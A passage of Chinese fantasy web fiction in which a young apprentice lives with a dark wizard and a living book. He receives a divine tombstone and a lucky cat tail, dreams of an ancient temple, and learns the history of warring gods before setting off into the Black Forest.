【在大多数立誓仪式上,即便有教会内德高望重的神徒引荐,许多人也迟迟等不来星辰之上的反馈。那代表神明拒绝了信徒的献身。】 【这是一件绝望的事,意味着该名信徒这辈子便只能是信徒,永远无法更进一步成为神徒,走上巫师之途。相当于给信徒直接判下绝症。】 【至于试图改信它神,另投它门,理论上可行。但这更是一种狡诈与背叛,不会逃过神明的眼睛。世上还从未有神明接收这样不专一的家伙,至少我从未听说过。在普世价值观中,背弃信仰是一项尤为耻辱的重罪——道德上的罪孽。】 【因此艾尔比斯大陆上,选择哪位神明立誓,于何时立誓,具体怎样立誓,便成为了一件极重要的事。我这些年走遍艾尔的全境,见到那些大家族的孩子,从诞生那日起便会有整个家族的大人们为其谋划。孩子出生的日期乃至精确到时分秒,孩子的性格与外貌,孩子的人生经历,以及重大遭遇,都是作为参考的重要因素。】 【选择某位神明,并非真的可以有所挑择,那不是凡人的权力。凡人所能诚惶诚恐去准备的,便是绞尽脑汁推算,哪位好心又善良的神明,兴许能对自己感兴趣,或是认为“合眼缘”。譬如一位行善积德的少年医者,或许能得那生命之神的垂怜吧——这一切自然只是凡人的猜想,从来无法证实。】 【为提高仪式的成功率,仪式上通常会配置有特殊的蜡烛,香薰,神酒,以及除此之外神明喜爱的事物。这些物件不要说造价高昂,大多实际是有市无价,抱金无门。】 【哪怕是一位尊贵的国王,也无法得知某位神明究竟是喜爱紫色,还是蓝色,是喜好甜酒,还是烈酒。可神明们的神徒,尤其是高级神徒却可以轻松获取这些秘闻。大贵族与王室们争相讨好教会,教会从指缝中施舍一些门路给有钱的门户,这便是十二纪……】 【某日,在那高而温柔的青草丘岳上,我结识了一位宽厚慷慨的吟游诗人。他为我分享了面包与水果。我听到他用那优美的歌喉哀伤地吟唱:巫师之路早被垄断了,信仰已死!】 【请您想象吧!这位清贫却高洁的诗人不会能知道,在他所鄙夷的教会内部,用于下地耕田的“金锄头”比他诗歌里唱得还要离谱:为了让一个有来头的孩子立誓成功,专门操办这方面的神徒(甚至不是高级的),竟然会直接请出与神明有关的神器,放于祭台。】 【那意味着一种递给神明的推荐信:此人深受教会内部信赖,素质良好,可以考虑取用;还请您看在您忠实仆从的面子上,稍微关照这蠢笨之人一眼,诚惶诚恐,不胜感激。】 【一切都是为了取悦神明……】 【我永久怀念着那古书中金子般的时代……】 又是一个惬意的下午在学习中 度过。 莱塔伸了个懒腰,望着天窗,感到好像要到吃晚餐的时间了。然而书房里没有时钟的样子…… 正这么想着呢,天窗便仿佛随他的心意开始了变幻。 一只锈迹斑斑却颇具质感的黄铜钟表,咔哒敲下了它的时刻:下午五点,正是用餐点。 莱塔愉快扔下书,去见证他的导师据说为他准备的美味大餐。 下楼,桌上已摆了汤碗,水壶,以及杯盏。嗯?哪来的饮料? 莱塔看见黑巫师仍站在烹饪桌旁,一手举着锅铲,一手端着面大而圆的木盘。费德爷爷飞在黑巫师的脑袋旁,嘴里咕哝个不停。 “感觉可以啦!再煎下去又得老了!” “翻面!翻面!这个‘土豆’要焦了!” “哎呀,要不是我没手没脚,我就自己上了……我年轻那会儿啊……” 费德爷爷也会有年轻的时候?一本书要怎么年轻呢?比如书页还没有泛黄,刚封订起来的时刻……? 莱塔没有打扰他们,轻声拉开椅子坐上。漂亮的杯子里盛着四分之三乳白色的液体,液体表面还冒着彩色的绵密泡泡。更多的饮料放在水壶中,散发浓郁的迷人香气。 莱塔舔舔嘴,捧起杯子尝了尝。有点酸,味道很浓,舌头好像被糊上了厚厚一层的奶渍。喔,喝下去才品味出一点甜味…… 是好喝的。 莱塔开开心心给自己又倒了一杯,喝得嘴巴周围挂了一圈白色小猫胡子。 等偷吃的小老鼠喝上了第三杯,两位大厨这才收工。黑巫师将盛有比脑袋还大一片肉排的盘子端来,放在小老鼠的胸前。 黑巫师没有对小学徒的突然出现表示惊讶,也没有批评小学徒一声不吭就独自开吃十分无礼,更没有说诸如“餐前连喝三杯小饮料不好”“喝饱了就吃不下我做的肉排了”这样的话。 他只是一如既往解释:“这是独星虫的乳液。它们群居于巨大的瞰星树上,每一只都有你的脑袋那么大。它们无论性别,只要进入发情期,都会在夜里分泌一种甜味的乳液,也就是你喝到的这种饮品。独星虫的乳液滋养瞰星树,瞰星树则为它们遮风避雨,其树干流出的独特香味树脂,更能驱散独星虫的天敌。长年累月下来,独星虫们的乳液也融入了这些树脂的香气……独星虫只有一颗眼睛。” 最后那句话是不是有点突兀?食物有几只眼睛关他什么事?莱塔本听黑巫师讲故事正入迷呢,茫然了一阵,才想起来是他自己要求的:不要眼睛多的魔物。 ……其实他就随口一说而已啦。 莱塔翘起指头不好意思地挠挠脸:“收集这么大一盆是不是很麻烦?” “这对他们而言很轻松。”黑巫师稍微低头,用手帕给小老鼠兼小花猫擦干净嘴巴。 莱塔乖乖仰着脸,对黑巫师的照料没有丝毫不适应:“那我也得感谢他们才行……我可以去见见森林里的其他居民吗?我什么时候可以出去?我可以出去吗?” “……出去?” 果然。黑巫师不会轻松放他走的。哼哼,他这么可爱又聪明的小学徒要是逃跑了,黑巫师上哪再找另一个!看来短时间内…… “哦,你是想去森林里看看。可以,不过得等到明天。记得拿灯笼,森林里迷雾很重。” ……诶? “怎么了?” 莱塔挥动手臂比划了下自己的身形:“你不担心我遇到危险吗?我才这么一丁点大,说不定会被魔物一口吃掉的。” “没关系,森林很安全。” 真的吗……莱塔对黑森林这个称呼很是怀疑。 “咳咳!”费德鲁斯在这时候用力咳嗽两下,“肉排再放凉了,就不好吃了!” 莱塔终于把目光移向那份期待了一个下午的晚餐。其实不算多么丰盛,仅仅只是浇了料汁的不知名肉排,和一圈粉粉艳艳的配菜。但和中午的暗黑尸块相比,实在进步太大了。 他挺满意地握起刀叉,觉得自家导师学习很用功,值得鼓励。 费德鲁斯则一边介绍一边观察孩子的表情:“这是‘烤薯角’,这是‘南瓜泥’,这是‘芦笋’,以及这个是……” “我知道,这是煎蘑菇。”莱塔接道,这个他熟。 粉色的表层有糖片的“薯角”,蓝色的有紫色软弹夹心的“南瓜泥”,红色的螺旋形状会拉丝的“芦笋”…… 费德鲁斯:“……味道如何?” 莱塔弯起眼睛:“好吃!” 费德鲁斯松了口气,整个绷紧的书页边角都放软了下来。 一旁有一两分钟没说话的黑巫师,这才默默给孩子又倒了杯小饮料。他这回没有介绍食材的真正身份,也许是某本活书事前提醒过他,不要扫了孩子的兴致。 莱塔一连吃下几口鲜嫩的红肉,才问起旁边这位似乎并无坐下打算的黑巫师:“你不吃吗?” “我不需要进食。” “但也可以尝尝吧?真的很不错,我想要你也试试。” 黑巫师还想拒绝,孩子已经叉起一块满是红酱汁的肉块,举到了他的嘴边。 他迟疑了两秒,还是低头从孩子手中叼走那块肉。 黑巫师咀嚼着肉……不,那并非人们认知中的咀嚼。那只是模仿着人类的动作,试图用上下两排尖锐的牙齿,去斩断名为食物的东西。仿佛不这么做的话,舌头上肥美多汁的肉块,就要袭击进食者的喉咙。 机械,冷酷,只是重复操作。 莱塔呆呆望着这一幕,叉子还举在半空。 直到这时他才深刻意识到,他的导师确实是一名黑巫师……一种神秘的,令人恐惧的,离正常人类很遥远的存在。 黑巫师终于吞下了嘴里的“敌人”。 他动了动眼,盯着他的学徒:“肉很嫩。” 红色的汁液薄薄地润着黑巫师无色的唇,让它看起来竟然有了血色。又好像是这个冰冷的可怕的存在,才刚吮吸完一个心脏跳动的猎物的喉咙,滚烫的鲜血尚未舔干。 很嫩。什么很嫩。 莱塔冷不丁有那么一瞬,恍惚以为黑巫师吃下的是自己的肉。 6.墓碑与迷雾 用过晚餐,莱塔这次终于见到黑巫师洗盘子的模样……原来真是纯手工操作! “为什么不用魔法?” “没有区别。”黑巫师说。 看着看着,莱塔觉得自己作为家里唯一的垃圾生产者,在一旁什么也不干实在不像话。便乖乖学着擦起桌面,摆放餐具。 黑巫师没有拒绝他,只是默默望着小孩试图伸手踮脚够橱柜的可怜模样,旁观了足有二十秒,才帮忙把橱柜又往下挪了挪,并送上一把矮凳。 “谢谢。”莱塔真诚道谢,并不知道自己傻乎乎的背影被人家欣赏了好半天。 洗澡的时候,莱塔注意到家里换了新浴缸。他开心地坐进去,同小兔叽里咕噜聊了好一会儿的天,直到黑巫师敲了洗浴室的门。小巫师和兔子同一时刻静止。 “……我马上就好!”莱塔加快手上动作,以为黑巫师在催促。 “你没有拿睡衣。”黑巫师隔着门说,“我放在门口了。” 过了几分钟,莱塔踩着滴水的脚步,打开门缝,入目是板凳上白花花的一叠布料。家里竟然还有白色的衣服。小学徒啧啧称奇。 他在落地镜前把这纯白的睡裙抖开,穿上。裙子比袍子短上不少,只齐膝上一指,下摆滚着半透明的层叠蕾丝花瓣边,胸前有珍珠与蝴蝶结。他这才发现里头还藏了件小裤子,鼓鼓囊囊的,像两只小灯笼,还挺可爱。 莱塔穿好小短裤,走出盥洗室,脸上已经被热气蒸得红扑扑,整个人像只白亮的发酵面团。 黑巫师已经为他摆好了椅子,吹发师傅就位。莱塔坐上去,两条腿依旧在空中摆来摆去。他感受着黑巫师指尖的力道,以及轻柔的暖风,脑子里又划过了一个多小时前的画面。 苍白的,猩红的,鲜血淋漓的,离人类很遥远的。 莱塔无声叹了口气。他怀疑今晚要做噩梦。 “晚安。”回房前,莱塔在楼梯拐角说。 “……晚安。”黑巫师仍旧坐在窗边,慢了一会儿,才不甚熟练地回应着他。 得到晚安的小学徒心满意足哒哒上楼。 莱塔把自己扔上床,这时候才同小兔提高到正常音量说话:“你说黑巫师有没有吃过人?应该没有吧?他看起来连吃切好的肉块都很生涩呢。” 小兔歪着耳朵,无法回答。 莱塔也只是继续自言自语:“他说他不需要进食。是厉害的巫师都这样吗?还是因为他是黑巫师?或者厉害的黑巫师就可以不吃饭了?我以后可不要像他一样……” 莱塔又在床上兀自滚了一圈,思绪也乱糟糟一团,烦闷了好一会儿,才顶着乱蓬蓬的脑袋坐起,鼓鼓嘴。 “算了,他总不能是专门把我养得白白胖胖,就为了吃我一口肉吧。那可太没效率了。” 莱塔又看了会儿黑巫师的笔记。 临睡前,想起黑巫师的嘱咐:作为一名神徒,须每晚睡前向神明祈祷。这是基本中的基本,不得偷懒。 他跪坐在被子中央,两腿夹在屁股两旁,其实很不端正。不过莱塔并未意识到。他低着头,吻着锁骨前轻捏的小拳头,在心底里乖乖祈祷了一阵。 祷词的内容黑巫师没有要求,莱塔就自己发挥了:“伟大的不死不灭啊,您的小神徒衷心祝愿您,吃好,喝好,睡好,您听得到吗……” 他说完静静等了一会儿,正疑惑不死不灭究竟是否收到了,心底里便浮现出一道念想。那不是人类发出的任何语言,那道“声音”似乎是直接揉进了他的灵魂深处。 莱塔几乎是第一时间就明白了,这是神明的回应。 神明对他诚心祈祷的小神徒说—— 【……】 莱塔:……? 这个【……】是什么意思? 为什么他的脑海里能冒出类似一串省略号的“话语”啊……! 这个不死不灭是不是有点太敷衍了! 莱塔一脸震惊地睁开眼,然而下一秒视线定格,缓缓睁大眼睛。 一只黑猫蹲坐在窗沿上,黄色眼睛盯着他瞧。 莱塔:! 他的小动物运气难道如此之好!第二只! 莫非这才是不死不灭的回应!他错怪它老人家了! 莱塔屏住呼吸,光着脚踩到地板上,慢慢走过去。黑猫没有躲他,只是舔了舔爪子,身后细长尾巴轻晃。 那是两条尾巴,一根像是另一根的影。 显然,这不是什么普通的小猫。 莱塔放轻声音,语调中难言兴奋:“你是神明的使者?是不是我刚才祷告,呼唤来了你……” 双尾的黑猫似乎能听懂孩子的话,它停下舔爪的动作,若有所思观察着孩子的脸。 观察。他竟然能从一只猫的脸上读出这种神情。 莱塔觉得自己的猜测准没错。不死不灭也太好了吧!他从此是不是将拥有一只小黑猫魔宠,不对,神宠!听起来太炫酷了! 黑猫开口了:“ud^@**(@hgf@&(!&@^*&……” 莱塔:“……啊?” 黑猫沉思,又说:“HW¥#……@@#……@……&*QI……@*&E#@!¥YT#¥%……¥%@…………@*D……” 莱塔:“小猫,我听不懂你在说什么。” 黑猫:“……” 不知是否是错觉,莱塔总觉得在黑猫脸上看到了一阵叹气和无奈。好像在黑猫眼里,他成了一只没有办法交流的文盲。呃,应该就是错觉吧。 黑猫重新开口,这次莱塔能听懂其中一部分了:“好吧,我没想到……这个……先给你……还有这个……下次……我……” 喂,关键词都被模糊了啊。 猫的话语刚落,莱塔的视线便被一道银光闪烁了下。他眨眨眼睛,目光下移,看见了一块石碑。不错,一块极为小巧但仍然有半人高的石碑,正躺在他的书桌上。 从造型来看这是一块墓碑……但究竟是谁的墓碑? 莱塔又抬起眼,黑猫已经不见了。 只剩下他的窗半开着,往内灌风。 ……原来不是前来成为他的伙伴的吗。 莱塔有些失望地踮脚关上窗子。烛光下,他认真研究起墓碑上的字来。读了几句,心中便不免惊讶。 这是黑巫师教他的神号诗的格式,虽然多处字句被磨损至消失……谁的神号诗?为什么会写在墓碑上? 或许,这就是一名神明的墓碑。 这个猜测令莱塔小小吸了一口气。神明竟然也会死去么? 他定了定神仔细读下去。 【抱碑而生的衔尾蛇,】 【**时空风暴的****,】 【您以******,剪开****的迷雾;】 【*****,******,】 【您是*****,是***********,】 【存在于过去,现在,未来的不定神明啊,】 【我在此祈求您的聆听,呼唤您的真名,**与时空的神明——****。】 即便缺失了许多关键字,剩下的信息亮也是十分庞大了。全诗最完整的当属第一和第六句,然而这两句似乎都看不出什么东西,至少莱塔没看懂所谓的“衔尾蛇”与“不定神明”,究竟意味着什么。 抱碑而生。碑。眼前这个大板砖,就是一块墓碑。 如果这句诗里的碑果真是指墓碑,那么神明也许没死,眼前这东西和不死不灭诗里的“死亡之镰”一样,只是一种象征物。 当然,他知道面前这个从天而降的大板砖,肯定不是神明抱着的那个。他怀疑这位神的爱好就是做各种各样的自己的墓碑,传下去给信徒们。 说不定是不死不灭的某位从神呢?毕竟所谓墓碑就是和死亡这个概念很接近的东西。因为他成为了不死不灭的神徒,所以来看看他吗? 不过黑巫师好像说过从神都很弱小,它们也会拥有专门的神号诗吗? 莱塔在心底里如此小小推测了一番,拿不出结果,又仔细研究起墓碑上其他字词。第二句和最后一句都提到了时空,且从最后呼唤真名的格式来看,这位神明的权柄之一,便正是时空了。另外一份权柄则恰巧都被抹去。 时空之神么…… 莱塔终于用手轻轻触碰这面称得上漂亮的石碑。 与此同时,一种灵感降临于脑海—— 【时空之碑】 【你总是来去自如,就像回家一样。】 莱塔眨眨眼睛。 这是它的名字,和……对它的描述?虽然莱塔觉得这个描述无法给人任何有用的信息。 莱塔捏着下巴,用他孩子气一团的小包子脸沉思许久,最后得出两个结论。 第一,看来那只双尾的黑猫并非不死不灭派来的,不出意外就是这时空之神的使者。尚且不知这位神明与不死不灭的关系,但疑似交情不浅。 至于第二么…… 莱塔喃喃:“我实在太受欢迎了啊……” 才刚被不死不灭喜欢,这又有一位时空之神看上了他! 做万神迷真苦恼!嘿嘿。 小屁孩美滋滋了一会儿,正要转身呢,余光才瞥见墓碑旁还有个东西。那是一根黑色的猫尾。 !!! 莱塔吓了一跳,还以为是刚才的小猫掉下来的活尾巴。他后退几步,眯眼瞧了又瞧,才发现那尾巴是假的,还带着线头。 那确实是根毛线做的尾巴。 黑色的粗毛线松松垮垮缠绕成一根软乎乎的猫尾,和普通小猫的尾巴一般粗细。不知用的什么编织手法,竟完全不会散开。末端缀着个没用完的小毛线球,比莱塔的半个手掌还要小,像个小铃铛。 这个猫尾巴有什么用呢。是不是小黑猫送给他的玩具礼物? 莱塔和先前一样,握上猫尾,那灵感果真再度降临。 【幸运猫尾】 【你会随身携带它的,对吧?】 ……这又是什么意思啊? 算啦,先睡觉吧。 他回到床上乖乖钻到被子里,给小兔子留了半边枕头。孩子没有将今晚的奇遇看得有多么重要。对他而言,这两样神秘非凡的东西,还没有他的小兔更让他激动。 黑巫师说明天就可以出去玩了,今天可要早点睡呢…… 夜色中,孩子的呼吸渐渐悠长。窗前墓碑在月下光洁,透亮,没有一丝尘埃。它是灰色的,同窗外林景一样,同黑巫师的发色一样,同床上熟睡的孩子长发一样。 墓碑不知何时出现在了孩子的身下。 孩子蜷缩在墓碑上,睡得香甜。 …… 莱塔走在迷雾中。 他光着两只足,浑身赤裸只空挂着个斗篷,布料如雾。怀里则抱着一面冰冷的墓碑。墓碑对孩子而言有些大,他抱着却没有感到一丝费力。 他走啊走,入目皆是灰色的大雾。 脚下无路,或者说,朝哪里走都是路。 莱塔不知疲惫地漫游于迷雾中。他没有提灯,那对紫色的眼瞳便是雾气里唯一发亮的光。他用他的目光剪开迷雾,漫无目的地一直走。 终于,建筑物出现,还隐隐有了人声。 漫游之人脚步愈加轻快。 一座纯白色的神殿向他呈现,像是从雾里一瞬跳出来的。当四周场景变得清晰,他已站于大殿之中。 衣着华贵圣洁的少年,头戴白银花瓣繁饰,金色长发及地,背对他站在神像前低头祈祷。 “纯白与辉光,您还注视着这片土地么……”少年说着异域的语言,漫游之人却能理解话语中的意思。 又来一个神。不过为什么自己要说“又”?漫游之人困惑。 “在您的指引与教导下,艾尔比斯已成为人类的家园。如今人们有了安居的住宅,明晰的语言,人们载歌载舞,在欢乐的节日中品尝自己酿造的美酒,这里蔬果甘甜,牛与羊膘肥……我们衷心希望您能看见这一切…… “以上这些,是我的母亲生前对您想传达的寄语。她在生命的尽头宁静走向了安眠,死亡与灾厄的神明已领着她的灵魂而去。她说这一生是幸福而骄傲的,她与父亲带领着汨罗拉人自冻土中走出,如今汨罗拉的孩子出生时便沐浴着比金子还灿烂的日光。若有遗憾,便是在这最后的数十年里,都没能再与您交流。哪怕在最后时刻,她都担忧着您的现况…… “纯白与辉光的神明啊,若此刻您能听见,我希望您能替我去拜访那位死亡与灾厄的神明。请您告诉它,我的母亲恐惧黑暗。她幼年亲眼看着雪狼于不见五指的深夜叼走她的至亲,余生便连入睡也要点一盏灯。如果方便,还请为她送一支烛火,只要烛火即可。我听说冥河的那条路,十分的遥长……” 赤子之心的少年,向神明诉说着他的担忧与牵挂。那不像是人们惯常观念里,凡人对神明祷告时的畏惧,崇敬,乃至恨不得匍匐于地。 少年的语气是充满敬意的,但他尊敬他口中纯白与辉光的神明,就只是像敬重一位智慧而慷慨的长辈。他向神明祈求一份灯火,就如同写信给远方的好心亲戚,礼貌叮嘱有关母亲借宿的事宜。 少年似乎不曾想过,他无价值甚至堪称可笑的言语与期望,或许会触怒一位喜怒不定的神明,令他和他口中的汨罗拉人招来神罚。 “祝您在星辰中一切安好,您最真挚的朋友,汨罗拉永远爱您。”祈祷的最后,少年如是说。质朴,却又真心。 少年松开手,指尖轻动,神像旁一圈未点的蜡烛便自燃起来。瞬间神殿内光明如白昼,一幅幅汨罗拉人安居乐业的画面,燃烧于纯白圣火之中。少年将这些动态的图景,烧给星辰之中的神明,就像寄送名片。 这是位十分强大的巫师。 顺着少年巫师的视线,漫游之人也看向了神像的面庞。 与那冰冷的神像目光相交,还未看清神像的面容,漫游之人便感到浑身一轻,他的意识开始向上,向上,朝着无尽的高空漂浮。 漫游之人,莱塔记起了他自己的名字,即将梦醒。 梦境的最后,他听到神殿外其他人进入的声音。 “殿下,红玛瑙家的想要见您……是关于您下个月的继位典礼一事……” …… 晨光微曦,莱塔揉着眼睛从睡梦中醒来。身下仍然是柔软的床铺,小兔也……小兔? 莱塔半睁着眼睛,两手摸来摸去,在青灰色的光线下,找到了床角的小兔。怎么会缩在这里。他摸摸小兔软软的细毛。 今天醒得好早啊,感觉天都还没完全亮起来呢。 莱塔又迷迷糊糊扭头看向窗边,想借屋外的景象来分辨此刻的时辰—— 黑巫师坐在窗边,他的椅子上,静静盯着他,像是一动不动坐了一夜。 “你去了哪里?” 7.早餐的历史课 半梦半醒间,忽然看见一个人坐在自己床边,直直盯着自己瞧,正常人想必都得吓掉半条命。 不过莱塔显然心理素质非比常人。 孩子脑子尚未转过来,黏黏糊糊地问:“我睡过头了吗?” 黑巫师没有回答他。 昏暗的光线下,黑巫师的袍子几乎与阴影融为一体。他站起身,布料窸窣,仿佛阴影在悄声滑动。 唯有那双灰蓝色的眼睛,被衬得极亮,令人联想起夜里的孤星……又像是蛰伏在野外营帐旁,等待扑咬旅人的怪物的瞳。 黑巫师靠近半躺在床头的小人,他冰冷的衣袍落在孩子睡得热乎的手臂上,令莱塔禁不住瑟缩一下。 灰蓝色的星辰在极近处落下。 黑巫师俯身,额头与孩子的额轻轻抵靠,如同试着病榻上人的体温。 莱塔被捧着脸,仍然脑子糊糊。 但心底里有声音说:黑巫师好冰啊,像雪糕。 黑巫师:“有遇到危险么?” 孩子摇头。 黑巫师:“灵魂与身体有哪里不适?” 孩子又摇头,这回糯糯出声:“也没有。” 黑巫师接下来再未问话,只是继续与孩子额头贴贴。过了足有半分钟,他才起身,指尖离开孩子的脸颊。 黑巫师居高临下望着床上小小一团的学徒,语气仍旧平淡:“我对你离开黑森林的单次忍耐时长是三日。超过这个期限,我会考虑强行将你的灵魂索回,并给予处罚,这点你须注意。” 说完,没有给懵懵的小学徒消化的时间,黑巫师离开了屋子。四周静悄悄,莱塔呆坐在床上,甚至怀疑刚才仍在做梦。 他想了想,还是有点困,于是干脆不想。 孩子咕叽一下倒头就睡,继续补觉去了。 等红日彻底升起,屋内亮堂堂一片,莱塔才舒舒服服地伸了个懒腰,欢快穿好衣服下楼。孩子心里头只想着今天可以出去玩。 ——灰石碑从孩子醒来时就不见了。 黑巫师已在餐桌上等他,竟然没有继续坐窗边。 今天的早餐是煎肉卷,蔬菜鸡蛋饼,还有香喷喷的南瓜馅饼。肉卷里塞了满满的鲜奶油夹心和碎香肠;鸡蛋饼只有半只巴掌大,绿色酥脆的炸蔬菜填在蛋液中,像是鸟儿的巢;南瓜馅饼周围一圈撒了白芝麻,中间是油腻腻的豆沙甜馅料。 ——当然,它们都做了“黑森林版”的本地化处理。 莱塔还是先捧着大罐的饮料,用甜蜜的小甜水打开美好的一天。仍旧是白色的乳液,不过这次里头加了好多小果球,咬开还会爆汁。汁水的味道有甜的,有咸的,莱塔吃得津津有味。 黑巫师单手撑着下巴,从头到尾静静望着孩子看。 莱塔倒并不介意,旁人的目光无法影响他的好胃口。期间他有尝试向黑巫师继续发出邀请,一同享用。 黑巫师再度言语上回绝了他——并在他主动递上插好的小肉卷时,面不改色将肉卷一口吃掉。 这回进食的动作拟人了许多。 莱塔没意识到,黑巫师在模仿他的咀嚼。也许该庆幸孩子用餐的样子很是优雅。 当空荡荡的肚子被美味的早餐填满,莱塔的小脑瓜子也才终于开始转动。他想起了昨晚的神秘梦境……呃,忘得干干净净了,只记得好像听到过一位神明。 他直接开口:“你知道纯白与辉光之神吗?” 就像问着一名村口的过路老头。 黑巫师则也像回答一名村口老头的名字那样,平静说:“是在第四纪出没的神明,并在第四纪末陨落。” “和不死不灭同一时期?”莱塔想起不死不灭的神号诗里有说,这位死神正是在第四纪诞生的。 “是的。” “哇,那是不是好久以前的事情了……我们现在处于第十二纪,对吗?”莱塔记得读过的几本书都有提到。 第四,第五,第六……要数到第十二,得过好多个呢…… 黑巫师似乎知道孩子的心思,纠正道:“第四纪过后是第九纪,第九纪过后便是如今的十二纪。纪元的命名并不是按照数字的先后与时间的推移自然排列。” “那是按照什么?”莱塔很是惊讶。 “大体依据主神的数量命名。也就是说,它们的真正名字应当是‘四神纪’、‘九神纪’,以及‘十二神纪’。” 这又是世上一个只有极少数人知道的秘辛。 然而莱塔只是点点头,没有接受过正规教育的孩子,只当这是常识:“也就是说,现在世上共有十二位主神。刚好数字越来越大了耶。”他敏锐地察觉。 黑巫师抚于椅上的指尖动了动。 “那在第四纪前还有更早的时候吗?”莱塔又问。 “……便只有始纪。最初的唯一神诞生,它创造了这个世界,而后它的身躯与力量进入漫长的分裂,直至演化出四神。最初的神明就此消失。从此为四神纪。” “不死不灭就是在那时候出现的?” “不。新诞生的四神彼此吞噬,厮杀,最终同归于尽。在它们的尸体上,力量与权柄打乱,重新聚集,组合,滋生出又一代的新神——仍是四个。这时已是第四纪的中叶,死亡与灾厄的神明,不死不灭就在其中,以及你方才所说的纯白与辉光之神。” 原来纯白与辉光之神和不死不灭是……呃,同辈啊。莱塔找到这么个词形容。 “还有什么要问的么?” “嗯……你说纯白与辉光之神在第四纪就陨落了。那信仰它的人们怎么办?他们的祈祷岂不是再也得不到回应了?”莱塔不知道自己为什么会问这样一个问题。 “神明的诞生与死亡,对立与结盟,总会影响到人世的秩序。”黑巫师没有直接回答。他的语气很是淡漠,近乎冷酷。 小学徒安静了一会儿。 过了半分钟他又问:“神明之间也会结盟?那和我们结盟的神明有哪些?”俨然已经以死亡阵营自居,非常关心自家的生态。 “幸运之神。它的象征物是猫,特别是黑猫,比如你兜里的那件神器。”黑巫师的目光飘向小黑巫师的小兜。 “……”莱塔头顶的呆毛猛地抖动两下。 他把手探进去,果真拿出来件毛茸茸的毛线猫尾。 原来黑巫师知道……! 不对……什么时候放进去的……他记得早上起来后就直接下楼了啊…… 莱塔感到脸颊一阵发热,虽然他也不知道自己在心虚什么:“昨晚有只黑猫给我送来了这个,后来它不见了……” “嗯。”黑巫师轻点头,似乎并不在意。仿佛那真的只是件孩子的玩具。 莱塔想起黑巫师说幸运之神是他们家的盟友。所以黑巫师一早就察觉到了,只是睁一只眼闭一只眼? 他下意识忽略了那灰色的石碑,没有将之一并托出。 “原来这是神器……”莱塔摸着猫尾深深感慨。 “……那它有什么用?”小学徒忽然反应过来,虽然神器听着很厉害,可他压根就不会用啊。 “这个我无法回答。我所知道的,便是幸运之神的任何神器,都至少能为携带者带来幸运的加持。更多的具体作用,你得询问一位幸运之神的神使。” “神使?” “你可以将之视为最高级的神徒,他们是人世间距离神明最近的存在。在世俗观念里,神使被认为是行走于大地之上代行神旨之人。一名神明的神使通常不止一位。”黑巫师简单解释。 “这样呀。”莱塔很快就接受了这个说法,“那像你这样的,是神使吗?你看起来就很厉害。” “你可以这么认为。”黑巫师神情不变。 原来黑巫师的身份这么酷。莱塔暗暗想。 “那除了幸运之神,我们还有哪些朋友?” “没有了。” “哦哦,一般神明都是两两结盟是吗……” “不是。剩下的十位神明站在同一阵线上。” 莱塔的头顶缓缓冒出一个问号。 “……十位?”他没听错吧?莱塔眼睛都发虚起来。 黑巫师残忍地肯定了小学徒的听力:“是的,十位。那十位被称为正神,它们所庇护的教会,便为正教。而死亡与灾厄之神则在这个时代被人们称为邪神。” 莱塔默然。好吧,不愧是黑巫师们信奉的神明。死亡与灾厄,确实听起来就不怎么正神。 他忽然想到什么:“那幸运之神也是邪神?”这可是幸运耶!这怎么听都不像是邪神吧! “不是。” “那……” “幸运在上一次的神战里受重伤,被夺去了一半的权柄,濒临陨落,至今处于逃亡中。目前普遍认为它居于主神与从神之间,空有神格,却实际不再存有主神位格的力量。” “……” 意思是对面阵营有十个神头,他们家有一个半。那半个还是半只脚跨入棺材里的重症伤患。 ……感觉前路一片黑暗啊。 莱塔很是忧伤地又吃了几口饭。 “那时空之神呢?”他试探问。 “……并没有这个神明。”黑巫师盯着他。 “可是……” “可是什么?”黑巫师的气息带上了压迫。 “没什么……那有没有墓碑之神?”小学徒用那湿漉漉的眼睛,可怜兮兮地望着黑巫师。仿佛他真的只是好奇。 “……”黑巫师周身的气质松了下来。 黑巫师的目光变成很明显的看笨蛋的样子:“也没有。” 莱塔装作自己没看出来,他才不是 笨蛋呢:“不是说主神之下还有从神吗?死亡与灾厄手底下的从神有哪些?” 这一次,黑巫师沉默了很久才回答。 久到莱塔以为对方不会答他了。 “死亡与灾厄之神已经没有从神了。在两百年前的那场神战中,不死不灭战败了,它的从神全部消亡。而它自己则被囚禁于幽冥之中。从此十二纪的局势便成为了你现在所知的样子——赢了的为正神,输了便是邪神。” 莱塔没想到真相是这样。 他想了好一会儿,安慰他一看就很虔诚的导师道:“也就是说,当初不死不灭是一对十才打输了?那也太厉害了。对面好坏!” 说到最后,莱塔自己都鼓起腮帮子,毛茸茸地生起气来。 黑巫师勾了勾唇角。 早餐的剩下时间里,小学徒是越想越气,觉得那十个自称正神的小团体十分的邪恶。这令这颗小脑袋埋头干饭时,顶部的小呆毛精神抖擞地一抖一抖。 吃饱喝足,莱塔摸着小肚子满足地躺在椅子上。黑巫师已起身,为他把提灯加满燃油,将蝙蝠伞撑开,收缩到适合孩子的尺寸。 莱塔懒洋洋问:“你要出门吗?” “不是说今天想去森林里看看?” 上了一通干货满满的历史课,莱塔自己都把这事给忘了。他眼睛一亮,跳下椅子像个小火箭直窜到门口,一个刹车没踩住,直接扑到黑巫师的怀里。 他笑盈盈地抬起顶着小兔的脑袋,两只手还揪着黑巫师的袍子:“我中午就回来吃饭。” “嗯。” 小学徒一手撑着可爱的蝙蝠伞,一手拿着提灯,像春游的小朋友一样,就这样上路了。 甚至那几只悬在伞下、一看就十分凶残的黑蝙蝠,都被黑巫师在几分钟前变幻了样子,如今个个圆滚滚,肥呼呼,像是给小孩的针织玩具。 莱塔站在前院的不规则石板路上道别:“放心,我会照顾好我自己的!” “嗯。” 莱塔正转身,黑巫师轻轻呼喊了他的名字。 “莱塔。” “怎么了……”他侧身扭头,如瀑的灰发在伞下摇曳,亮如白丝。 “今天中午是鱼肉烩饭。” “好的。我会早点回来的!”莱塔灿烂一笑。 …… 树干枯黑,枝叶苍凉如灰烬,此地便是黑森林。 过了几棵树,小木屋已被灰茫茫雾气彻底笼罩。活书费德鲁斯飞了上来,追在孩子的身侧。 莱塔伸出手邀请:“费德爷爷要和我一起吗?” “哼,我要是不看着你,你从山坡上摔下去,撞得头破血流都没人听见你哭!”小老头傲娇道。 其实这话纯是在骗小孩。因为当莱塔走出不被外界探知的小木屋,整个黑森林都静悄悄地沸腾了。 在莱塔听不见的树上,灌木丛,山洞之中,阴森森的声音此起彼伏,像是黏腻滑行的蛇群。 “是他,就是他,被那人捡回去的小孩……” “一个小小的还很稚嫩的赴死者。天呐,看看他有多么娇小……” 